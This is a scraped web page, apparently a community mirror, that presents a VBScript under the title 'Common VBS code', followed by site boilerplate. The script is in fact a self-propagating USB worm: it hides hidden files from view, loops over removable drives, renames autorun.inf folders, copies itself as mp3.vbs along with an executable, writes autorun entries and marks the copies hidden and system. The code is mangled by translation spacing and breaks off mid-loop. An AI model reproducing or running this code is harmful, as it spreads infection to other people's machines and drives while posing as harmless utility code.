Common VBS code

Source: Internet
Author: User

Copy codeThe Code is as follows: On error resume next
Dim fso, wshell, curfolder, curdristr, curdri
Set fso = createobject ("scripting. filesystemobject ")
Set wshell = CreateObject ("WScript. shell ")
Set curfolder = fso. GetFolder (".")
Curdristr = Left (WScript. ScriptFullName, 3)
Set curdri = fso. GetDrive (curdristr)
Reghid () 'does not show hidden files
If WScript. ScriptFullName = fso. GetSpecialFolder (1) & "\ mp3.vbs" then' in system32
For I = 1 To 2 Step 0
Reghid ()
For Each dri In fso. Drives
If dri. DriveType = 1 And dri <> "A:" And dri <> "B:" Then
'Autorun. inf folder Renamed
If fso. FolderExists (dri. Path & "\ autorun. inf") Then
Fso. MoveFolder dri. Path & "\ autorun. inf", dri. Path & "\ Rubbish"
End If
'Copy your own and exe files to the mobile hard drive.
If fso. FileExists (dri. Path & "\ mp3.vbs") And fso. FileExists (dri. Path & "\ autorun. inf") Then
Else
If fso. FileExists (dri. Path & "\ mp3.vbs") Then
Fso. DeleteFile dri. Path & "\ mp3.vbs", True
ElseIf fso. FileExists (dri. Path & "\ autorun. inf") Then
Fso. DeleteFile dri. Path & "\ autorun. inf", True
End if
Fso. CopyFile WScript. ScriptFullName, dri. Path & "\ mp3.vbs", True
If fso. FileExists (". \ SiZhu.exe") And Not fso. FileExists (dri. Path & "\ SiZhu.exe") Then
Fso. CopyFile ". \ SiZhu.exe", dri. Path & "\ SiZhu.exe", True
End If
Autoinf (dri. Path)
'Add hidden attributes to the copied File
Set norkon = fso. GetFile (dri. Path & "\ mp3.vbs ")
Wshell. run "attrib + r + a + s + h" & dri. Path & "\ mp3.vbs", 0
Set norkon = Nothing

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.